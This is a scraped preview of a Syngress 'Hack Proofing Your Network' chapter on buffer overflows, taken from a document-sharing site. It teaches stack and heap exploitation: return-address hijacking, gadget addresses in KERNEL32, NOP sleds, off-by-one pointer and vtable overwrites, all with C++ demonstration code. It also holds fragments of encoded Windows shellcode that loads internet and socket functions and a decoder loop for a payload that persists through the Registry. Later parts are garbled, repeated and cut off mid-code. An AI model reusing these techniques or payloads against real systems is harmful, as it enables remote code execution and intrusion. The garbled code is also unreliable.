1. Trang chủ
  2. » Công Nghệ Thông Tin

HACK PROOFING YOUR NETWORK INTERNET TRADECRAFT phần 6 potx

50 264 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 50
Dung lượng 158,19 KB

Nội dung

Normally, the processor executes code from the code segment of a program. As the program makes function calls, the processor pushes data onto the thread stack. This stack serves as a temporary storage place for function vari- ables and function addresses. When an attacker overflows a stack buffer, the overflow will often overwrite a value called the return address. The buffer over- flow will not only overwrite the return address, but can also overwrite almost all of the stack itself. This, of course, causes the program to crash. Usually the attacker is not concerned about the program, and simply wants to execute his or her own code (called a payload). The payload is usually injected as part of the buffer overflow itself, meaning that the code the attacker wants to execute is written to the stack along with everything else. So, the trick is to get the processor’s instruction pointer to point to the attacker’s buffer. There are sev- eral ways to do this. Methods to Execute Payload The following sections explain the variety of techniques that can be used to exexute payload. Direct Jump (Guessing Offsets) The direct jump means that you have told your overflow code to jump directly to a location in memory. It uses no tricks to determine the true location of the stack in memory. The downfall of this approach is twofold. First, the address of the stack may contain a NULL character, so the entire payload will need to be placed before the injector. If this is the case, it will limit the available size for your payload. Second, the address of your payload is not always going to be the same. This leaves you guessing the address you wish to jump to. This technique, however, is simple to use. On UNIX machines, the address of the stack often does not contain a NULL character, making this the method of choice for UNIX overflows. Also, there are tricks that make guessing the address much easier. (See No Operation (NOP) Sled later in the chapter.) Lastly, if you place your payload somewhere other than on the stack, the direct jump becomes the method of choice. Blind Return. The ESP register points to the current stack location. Any ret instruction will cause the EIP register to be loaded with whatever is pointed to by ESP. This is called popping. Essentially the ret instruction causes the topmost value on the stack to be popped into EIP, and EIP now points to a new code address. If the attacker can inject an initial EIP value that points to a ret instruction, the value stored at ESP will be loaded into ESI. Refer to Table 8.2 for a refresher on the description of each register. A whole series of techniques use the processor registers to get back to the stack. There is nothing you can inject into the instruction pointer directly that will cause a register to be used for execution as shown in Figure 8.6. 216 Chapter 8 • Buffer Overflow www.syngress.com 95_hack_prod_08 7/17/00 2:02 PM Page 216 Buffer Overflow • Chapter 8 217 www.syngress.com Table 8.2 The Description for Each 32-Bit Register 80x86 32-Bit Register Name Description EAX Accumulator EBX Base Address ECX Count EDX Data ESI Source Index EDI Destination Index EIP Instruction Pointer ESP Stack Pointer EBP Stack Frame Base Pointer EFL Flags CPU EAX Etc. EBX Instruction Ptr Injected address STACK Figure 8.6 The instruction pointer cannot go directly to a register. 95_hack_prod_08 7/17/00 2:02 PM Page 217 Obviously, you must make the instruction pointer point to a real instruction as shown in Figure 8.7. Pop Return If the value on the top of the stack does not point to within the attacker’s buffer, the injected EIP can be set to point to a series of pop instruc- tions, followed by a ret as shown in Figure 8.8. This will cause the stack to be popped a number of times before a value is used for the EIP register. This works if there is an address near the top of the stack that points to within the attacker’s buffer. The attacker just pops down the stack until the useful address is reached. This method was used in at least one public exploit for Internet Information Server (IIS). (See the listing for the IIS overflow example earlier in the chapter.) - pop eax 58 - pop ebx 5B - pop ecx 59 - pop edx 5A - pop ebp 5D - pop esi 5E - pop edi 5F - ret C3 218 Chapter 8 • Buffer Overflow www.syngress.com CPU EAX Etc. EBX Instruction Ptr Injected address STACK PUSH EAX RET or CALL EAX Figure 8.7 The instruction pointer must point to a real instruction. 95_hack_prod_08 7/17/00 2:02 PM Page 218 Call Register If a register is already loaded with an address that points to the payload, the attacker simply needs to load EIP to an instruction that performs a “call edx” or “call edi” or equivalent (depending on the desired register). - call eax FF D0 - call ebx FF D3 - call ecx FF D1 - call edx FF D2 - call esi FF D6 - call edi FF D7 FF D4 call esp A search of process memory found the following useful pairs (in KERNEL32.DLL): 77F1A2F7 FF D0 call eax 77F76231 FF D0 call eax 7FFD29A7 FF D0 call eax ; a whole block of this pattern exists 7FFD2DE3 FF E6 jmp esi ; a whole block of this pattern exists 7FFD2E27 FF E0 jmp eax ; a whole block of this pattern exists 77F3D793 FF D1 call ecx 77F7CEA7 FF D1 call ecx 77F94510 FF D1 call ecx 77F1B424 FF D3 call ebx 77F1B443 FF D3 call ebx Buffer Overflow • Chapter 8 219 www.syngress.com CPU EAX Etc. EBX Instruction Ptr Injected address POP POP RET STACK Popped Stack (gone) Figure 8.8 Using a series of pops and a ret to reach a useful address. 95_hack_prod_08 7/17/00 2:02 PM Page 219 77F1B497 FF D3 call ebx 77F3D8F3 FF D3 call ebx 77F63D01 FF D3 call ebx 77F9B14F FF D4 call esp 77F020B0 FF D6 call esi 77F020D5 FF D6 call esi 77F02102 FF D6 call esi 77F27CAD FF D6 call esi 77F27CC2 FF D6 call esi 77F27CDB FF D6 call esi 77F01089 FF D7 call edi 77F01129 FF D7 call edi 77F01135 FF D7 call edi These pairs can be used from almost any normal process. Push Return Only slightly different from the Call Register method, Push Return also uses the value stored in a register. If the register is loaded, but the attacker cannot find a “call” instruction, another option is to find a “push <register>” followed by a return. - push eax 50 - push ebx 53 - push ecx 51 - push edx 52 - push ebp 55 - push esi 56 - push edi 57 - ret C3 Kernel32.DLL contains the following useful pairs: 77F3FD18 push edi 77F3FD19 ret (?) 77F8E3A8 push esp 77F8E3A9 ret What Is an Offset? Offset is a term used primarily in local buffer overflows. Since multiuser machines are traditionally UNIX based, we have seen the word offset used a lot in UNIX-based overflows. On a UNIX machine, you typically have access to a compiler—and the attacker usually compiles his or her exploit directly on the machine he or she intends to attack. In this scenario, the attacker has some sort of user account and usually wishes to obtain root. The injector code for a local exploit sometimes calculates the base of its own stack—and assumes that the program we are attacking has the same base. For convenience, the attacker can then specify the offset from this address to Direct Jump to. If 220 Chapter 8 • Buffer Overflow www.syngress.com 95_hack_prod_08 7/17/00 2:02 PM Page 220 everything works properly, the base+offset value will match between the attacking code and the victim code. No Operation (NOP) Sled If you are using a direct address when injecting code, you will be left with the burden of guessing exactly where your payload is located in memory. This is next to impossible. The problem is that your payload will not always be in the exact same place. Commonly under UNIX, the same software package may be recompiled on different systems. What works on one copy of the software may not work on another. So, to minimize this effect and decrease the required pre- cision of a smash, we use the NOP Sled. The idea is simple. A NOP is an instruction that does nothing; it only takes up space. It was originally created for debugging. Since the NOP is only a single byte long, it is immune to the problems of byte ordering and alignment issues. The trick involves filling our buffer with NOPs before the actual payload. If we incorrectly guess the address of the payload, it will not matter, as long as we guess an address that lands somewhere on a NOP. Since the entire buffer is full of NOPs, we can guess any address that lands in the buffer. Once we land on a NOP, we will begin executing each NOP. We slide forward over all the NOPs until we reach our actual payload. The larger the buffer of NOPs, the less precise we need to be when guessing the address of our payload. Off-by-One Struct Pointer One technique for exploiting an off-by-one error occurs when an object pointer is stored adjacent to your off-by-one buffer. If the object pointer is stored BEFORE the stack buffer, you can overwrite the Least Significant Byte (LSB) (on Little Endian machines) of that pointer. The best-case scenario is that the object being pointed to has some sort of user-controlled buffer within it. You first dump your payload into that buffer, and then you alter the object pointer so that your payload gets used for something it shouldn’t, such as a function pointer. The following code example demonstrates this method. // single_1.cpp : Defines the entry point for the console //application. #include "stdafx.h" #include <stdio.h> #include <string.h> struct xxx { void *func; char name[24]; }; void __stdcall func2(void) { Buffer Overflow • Chapter 8 221 www.syngress.com 95_hack_prod_08 7/17/00 2:02 PM Page 221 puts("hey"); } void copy_func(char *p) { struct xxx *l; char buffer[8]; l = new struct xxx; l->func = func2; strcpy(l->name, p); //save name into new struct ////////////////////////////////////////// // single off-by-one will overwrite the // LSB of l pointer ////////////////////////////////////////// for(int i=0;i<=8;i++) buffer[i] = *(p++); puts(buffer); ////////////////////////////////////////// // call function ptr - the first 4 bytes // pointed to by l // // since we can change the LSB of this ptr // we can redirect to point to another HEAP // object ////////////////////////////////////////// ((void (__stdcall *)(void))(l->func))(); } int main(int argc, char* argv[]) { char *c = new char[10]; strcpy(c, "AAAA"); __asm int 3 copy_func("XXXXXXXX\xC4"); return 0; } Dereferencing—Smashing the Heap The following sections describe how to corrupt a pointer and trespass the heap. Corrupting a Function Pointer The basic trick to heap overflows is to cause a function pointer to be cor- rupted. There are many ways to do this. First, you can try to overwrite one heap object from another neighboring heap. Class objects and structs are often stored on the heap, so there can be many opportunities to do this. The tech- nique is simple to understand and is called trespassing. 222 Chapter 8 • Buffer Overflow www.syngress.com 95_hack_prod_08 7/17/00 2:02 PM Page 222 Trespassing the Heap In this example, two class objects are instantiated on the heap. A static buffer in one class object is overflowed, trespassing into another neigh- boring class object. This trespass overwrites the virtual-function table pointer (vtable pointer) in the second object. The address is overwritten so that the vtable address points into our own buffer. We then place values into our own trojan table that indicate new addresses for the class func- tions. One of these is the destructor, which we overwrite so that when the class object is deleted, our new destructor is called. In this way, we can run any code we want to—we simply make the destructor point to our payload. The downside to this is that heap object addresses may contain a NULL character, limiting what we can do. We either must put our payload some- where that doesn’t require a NULL address, or pull any of the old stack ref- erencing tricks to get the EIP to return to our address. The following code example demonstrates this method. // class_tres1.cpp : Defines the entry point for the console //application. #include "stdafx.h" #include <stdio.h> #include <string.h> class test1 { public: char name[10]; virtual ~test1(); virtual void run(); }; class test2 { public: char name[10]; virtual ~test2(); virtual void run(); }; int main(int argc, char* argv[]) { class test1 *t1 = new class test1; class test1 *t5 = new class test1; class test2 *t2 = new class test2; class test2 *t3 = new class test2; ////////////////////////////////////// // overwrite t2's virtual function // pointer w/ heap address // 0x00301E54 making the destructor Buffer Overflow • Chapter 8 223 www.syngress.com 95_hack_prod_08 7/17/00 2:02 PM Page 223 // appear to be 0x77777777 // and the run() function appear to // be 0x88888888 ////////////////////////////////////// strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX XXXX\x54\x1E\x30\x00"); delete t1; delete t2; // causes destructor 0x77777777 to be called delete t3; return 0; } void test1::run() { } test1::~test1() { } void test2::run() { puts("hey"); } test2::~test2() { } 224 Chapter 8 • Buffer Overflow www.syngress.com C++ Object VTABLE PTR ➔ C++ Object member variables grow down C++ Object VTABLE PTR C++ Object member variables C++ Object VTABLE _vfptr _destructor _functionXXX _functionYYY, etc. Figure 8.9 Trespassing the heap. 95_hack_prod_08 7/17/00 2:02 PM Page 224 Figure 8.9 illustrates the example. The proximity between heap objects allows you to overflow the virtual function pointer of a neighboring heap object. Once overwritten, the attacker can place a value that points back into the con- trolled buffer. The attacker can build a new virtual function table in the con- trolled buffer. The new table can then cause attacker-supplied code to execute when one of the class functions is executed. The destructor is a good function to replace, since it is executed when the object is deleted from memory. Designing Payload Payload is very important, and once the payload is being executed, there are many tricks for adding functionality. This can be one of the most rewarding and creative components of an exploit. Coding the Payload I don’t believe in doing things the hard way. Most of the exploits you see pub- lished include wild blocks of unidentifiable machine code. I don’t like this. There is a far better way to encode payloads: simply write them in C, C++, or inline assembly, and then copy the compiled code directly into your payload. Integrating assembly and C is easy to do using most compilers—I call it the Fusion Technique. Let’s explore. The Fusion Technique is just a simpler way to encode and compile assembly language and perform unconventional tricks. One of these tricks involves injecting code into other process spaces. Windows NT has established ways to accomplish this if you’re an authenticated user on the system. If you are not an authenticated user, you can accomplish this through a buffer over- flow. Either way, you are injecting code into a remote process space. Injection Vector The military has a concept of delivery and payload. We can use the same con- cept here. When we talk about a buffer overflow, we talk about the injection vector and the payload. The injection vector is the custom operational code (opcode) you need to actually own the instruction pointer on the remote machine. This is machine dependent and target dependent. The whole point of the injection vector is to get the payload to execute. The payload, on the other hand, is a lot like a virus. The payload can work anywhere, anytime, regard- less of how it was injected into the remote machine. If your payload does not operate this way, it is not clean. If you worked for the military writing buffer overflows, they would want clean payloads. Let’s explore what it takes to code a clean payload. Buffer Overflow • Chapter 8 225 www.syngress.com 95_hack_prod_08 7/17/00 2:02 PM Page 225 [...]... CREATE_PROC GET_START_INFO CREATE_PIPE INTERNET_ OPEN INTERNET_ CLOSE_H INTERNET_ OPEN_URL INTERNET_ READ_FILE WSASTARTUP _SOCKET BIND CONNECT SEND SELECT RECV URL_PTR [ebp + 8] [ebp + 12] [ebp + 16] [ebp + 20] [ebp + 24] [ebp + 28] [ebp + 32] [ebp + 36] [ebp + 40] [ebp + 44] [ebp + 48] [ebp + 52] [ebp + 56] [ebp + 60 ] [ebp + 64 ] [ebp + 70] [ebp + 74] [ebp + 78] [ebp + 82] [ebp + 86] ////////////////////////////////////////////////////////////////////... CREATE_PROC GET_START_INFO CREATE_PIPE INTERNET_ OPEN INTERNET_ CLOSE_H INTERNET_ OPEN_URL INTERNET_ READ_FILE WSASTARTUP _SOCKET BIND CONNECT SEND SELECT RECV URL_PTR [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp [ebp + + + + + + + + + + + + + + + + + + + + 8] 12] 16] 20] 24] 28] 32] 36] 40] 44] 48] 52] 56] 60 ] 64 ] 70] 74] 78] 82] 86] ////////////////////////////////////////////////////////////////////... eax //push [edi] //mov eax, 0x7734A777 //xor eax, edx //call [eax] "\x8B\xFB" \ "\xBA\x77\x77\x77\x77" \ "\xB8\x63\x9A\x65\x77\x33\xC2" \ www.syngress.com 241 95 _hack_ prod_08 242 7/17/00 2:02 PM Page 242 Chapter 8 • Buffer Overflow "\x2B\xD8\x53\x50" \ "\x6A\x01\x33\xC9\x51" \ "\xB8\x70\x9A\x65\x77" \ "\x33\xC2\x50" \ "\xFF\x37\xB8\x77\xA7\x34" \ "\x77\x33\xC2\xFF\x10" \ // halt or jump to somewhere harmless...95 _hack_ prod_08 2 26 7/17/00 2:02 PM Page 2 26 Chapter 8 • Buffer Overflow Location of Payload Your payload does not have to be located in the same place as your injection vector; commonly, it is just easier to use the stack for both When you use the stack for both payload and injection... string and alter the size variable in the decode loop (shown here set to 0x 46) : xor ecx, ecx mov ecx, 0x 46 LOOP_TOP: dec eax xor [eax], 0x80 dec ecx jnz LOOP_TOP (75 F9) Once this runs, check your Registry and you’ll find the value in question The value will be executed upon the next reboot Incidentally, this is a very common way for network worms to operate The only snag when using an HTTP request is that... //xor eax, eax //push eax "\x33\xC0\x50" \ // mov eax, 0x7 765 9BAe // xor eax, edx // push eax "\xB8\xAE\x9B\x65\x77\x33\xC2\x50" //mov eax, F7777775 //xor eax, edx //push eax "\xB8\x75\x77\x77\xF7" \ "\x33\xC2\x50" \ //mov eax, 7734A77Bh //xor eax, edx //call [eax] "\xB8\x7B\xA7\x34\x77" \ "\x33\xC2" \ "\xFF\x10" \ //mov edi, ebx //mov eax, 0x7 765 9A63 //xor eax, edx //sub ebx, eax //push ebx //push eax... "GlobalAlloc\0WriteFile\0Sleep\0ReadFile\0PeekNamedPipe\0" \ "CreateProcessA\0GetStartupInfoA\0CreatePipe\0\0" \ "wininet.dll\0" \ // function list follows DLL name "InternetOpenA\0InternetCloseHandle\0" \ // double null terminates function list "InternetOpenUrlA\0InternetReadFile\0\0" \ "ws2_32.dll\0" \ "WSAStartup\0socket\0bind\0connect\0send\0select\0recv\0\0" \ // NULL DLL name ends loading cycle "\0" \ // extra... Getting Bearings Once your code is executing, it may need to find out where it is located in memory This can be accomplished with a few assembly instructions This is required to figure out how to load any data segments that you have passed along with the payload Generally, this is the first thing your payload will do When your overflow payload is delivered, you may not know exactly where your buffer is resting... "GlobalAlloc\0WriteFile\0Sleep\0ReadFile\0PeekNamedPipe\0" \ "CreateProcessA\0GetStartupInfoA\0CreatePipe\0\0" \ "wininet.dll\0" \ // function list follows DLL name "InternetOpenA\0InternetCloseHandle\0" \ // double null terminates function list "InternetOpenUrlA\0InternetReadFile\0\0" \ "ws2_32.dll\0" \ "WSAStartup\0socket\0bind\0connect\0send\0select\0recv\0\0" \ // NULL DLL name ends loading cycle "\0" \ // extra... use lsmod: [root@rootkit.com joc]# /sbin/lsmod Module Size Used by nfs 29944 1 (autoclean) nfsd 1509 36 8 (autoclean) lockd 308 56 1 (autoclean) [nfs nfsd] sunrpc 523 56 1 (autoclean) [nfs nfsd lockd] 3c509 5812 1 (autoclean) [root@rootkit.com joc]# Typically, you can discover all modules that are loaded on your Linux system Modules are loaded into the kernel using the insmod command Remember that because . 40] #define INTERNET_ CLOSE_H [ebp + 44] #define INTERNET_ OPEN_URL [ebp + 48] #define INTERNET_ READ_FILE [ebp + 52] #define WSASTARTUP [ebp + 56] #define _SOCKET [ebp + 60 ] #define BIND [ebp + 64 ] #define. address. 95 _hack_ prod_08 7/17/00 2:02 PM Page 219 77F1B497 FF D3 call ebx 77F3D8F3 FF D3 call ebx 77F63D01 FF D3 call ebx 77F9B14F FF D4 call esp 77F020B0 FF D6 call esi 77F020D5 FF D6 call esi 77F02102. esp 77F020B0 FF D6 call esi 77F020D5 FF D6 call esi 77F02102 FF D6 call esi 77F27CAD FF D6 call esi 77F27CC2 FF D6 call esi 77F27CDB FF D6 call esi 77F01089 FF D7 call edi 77F01129 FF D7 call edi 77F01135

Ngày đăng: 14/08/2014, 04:21